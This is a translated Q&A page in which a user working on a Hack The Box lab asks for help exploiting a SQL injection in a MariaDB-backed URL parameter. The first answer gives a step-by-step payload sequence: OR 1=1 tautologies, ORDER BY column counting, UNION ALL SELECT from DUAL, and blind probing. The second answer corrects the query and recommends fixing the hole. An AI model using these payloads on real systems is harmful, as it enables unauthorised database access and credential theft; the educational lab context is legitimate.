【问题标题】:MariaDb SQL InjectionMariaDb SQL 注入
【发布时间】:2019-07-15 12:52:23
【问题描述】:

我正在尝试(合法地)利用带有 SQLi 漏洞的 MariaDb 数据库。

我已经确定了这里的漏洞...

/?o=1&page=app

o=* 易受攻击并产生以下错误...

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

我正在使用 Burp Suite,并发现以下语法似乎更接近标记,但仍然产生语法错误。

我认为它更接近标记,因为错误只是吐出我引入的查询而不是“额外”字段:'5' or dest like '1'') LIMIT 10'

我假设这是原始查询的一部分,因为包含 1 并且当我使用其他随机字符串进行测试时仍然正确。

我从页面线索中知道的管理员密码哈希是uid 1

我在这个查询中遗漏了什么?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

编辑:这是在 Hack The Box 上完成的,因此不会发生令人讨厌的非法行为。

【问题讨论】:

  • 您是在自己的(本地)网站/服务器上执行此操作吗?是否出于教育目的?
  • 好吧,它确实看起来很脆弱.. 试试0?=1' OR 1 = 1',由于自动类型转换,它应该会给你与?o=1 相同的页面。 MariaDB 使用的。
  • SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10 您是否尝试将该查询注入到?0= 变量中?
  • @RaymondNijland 是的,它在 Hack The Box VM 上,是的,我的目标是 ?0= 变量

标签: mysql mariadb sql-injection


【解决方案1】:

编辑:这是在 Hack The Box 上完成的,所以没有讨厌的非法内容 继续。

好的,那让我们玩得开心吧。

当我查看错误信息时

调试信息:您的 SQL 语法有错误;检查手册 对应于正确语法的 MariaDB 服务器版本 在 '5' 或 dest 附近使用,例如第 1 行的'1'') LIMIT 10'

我假设应用程序中的查询和代码或多或少像这样伪明智的,@o 实际上是 MySQL 用户变量。

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

我将使用 SQL fiddle space 来模拟 SQL 注入测试,并获得对其他表的更多可能访问。

您可以使用1' OR 1 = 1#1' OR 1 = 1-- 测试您的注入,两者都应该可以工作,并且当您使用1 作为输入时应该会得到相同的结果。 这是因为 MariaDB 自动为其他数据库转换类型,您可能需要使用更严格的版本1' OR '1' = '1#

应该生成什么

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

或者

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

然后,由于您在应用程序中看到错误,您可以使用ORDER BY 1 检查选择了多少列并递增数字,直到出现错误。

错误:ER_BAD_FIELD_ERROR:“订单子句”中的未知列“2”

注入

1' ORDER BY 1#1' ORDER BY 1--

这意味着对结果集中的第一列进行排序NOT排序1字面量。

生成

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

或者

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

当您知道列时,您可以使用UNION 进入其他表。如果您不需要所有列,请使用NULL

注入

1' UNION ALL SELECT NULL FROM DUAL#

请注意,DUAL 是 MariaDB、MySQL 和 Oracle 中不存在的“虚拟”表,如果您可以查询此“表”,则意味着您在技术上也可以进入其他表。

生成的 SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

如果网页设计为“详细信息”页面,其中一条记录始终可见,您需要在注入中添加LIMIT 1, 1

如果 web 应用程序中没有可见的错误怎么办,您应该能够通过盲目的 SQL 注入来盲目地暴力破解并查看应用程序是如何工作的。
在尝试暴力破解使用的列号之前,还可以尝试?o=0?o=NULL 或最大 INT 值(有符号)?o=2147483647 或(无符号)?o=4294967295 等非常高的数字,以便了解应用程序如何处理记录找不到。 因为它不太可能有 id 0INT 数据类型上的高数字,因为如果给出最后一个数字,应用程序将停止工作。 如果您仍然获得具有这些高数字的记录,请改用 BIGINT 数据类型的最大值。

对于第 1 列,结果 ID 相同 o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

对于会出错的第 2 列,但很可能您会看到错误页面或未找到记录的消息。
或者一个甜蜜的 HTTP 404(未找到)错误状态。
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

使用LIMIT 而不使用ORDER BY 时可能会遇到的一个问题可能是获得相同的记录,因为SQL 标准已经定义SQL 表/结果集是无序 而不使用@987654355 @

因此,理想情况下,您需要在暴力破解中继续使用 ORDER BY 1

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

ORDER BY 1 的数据库支持比我最初想的要好,因为它适用于 MySQL、MariaDB、SQL Server (MSSQL) 和 PostgreSQL。

ORDER BY 1 也是 SQL 92 的一项功能,已在 SQL 99 中删除。
因此,如果 SQL 数据库在这一点上遵循 SQL 标准,那么实际上它们不应该执行ORDER BY 1annymore。

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

与 SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC

【讨论】:

  • 这是一个很好的例子,说明我们如何开始调查可能的 SQL 注入漏洞利用 +10
  • “这是我们如何开始调查可能的 SQL 注入漏洞利用的一个很好的例子”@spencer7593 是的,谢谢我不想给他完整的答案并破坏他的乐趣
【解决方案2】:

一些观察:

mysql.user 表不包括列uiddest

要利用 SQL 注入漏洞,我们必须在动态构造的 SQL 语句的上下文中工作。

如果应用SQL语句的形式为:

 SELECT somecol FROM sometable WHERE keycol = 'x' ORDER BY foo LIMIT 1

x 的值被合并到 SQL 文本中;我们可以尝试提供将形成有效 SQL 语句的“x”值。但我们不会“突破”前面的陈述。

如果我们试图包含另一个FROM 子句,以从另一个表中提取数据,我们可能会考虑编写如下语句:

 SELECT somecol FROM sometable WHERE keycol = 'foo' AND 1=0 
 UNION ALL 
 SELECT expr FROM anothertable ORDER BY expr LIMIT 1 -- '

可能存在多语句漏洞,我们可以在其中执行多个语句。

但我们不需要花费大量时间来弄清楚如何利用它;最好花时间和精力来修复应用程序以关闭漏洞。

【讨论】:

    猜你喜欢
    • 2021-05-05
    • 2016-10-19
    • 1970-01-01
    • 1970-01-01
    • 2021-11-03
    • 1970-01-01
    • 2021-06-06
    • 2020-11-19
    • 2021-12-28
    相关资源
    最近更新 更多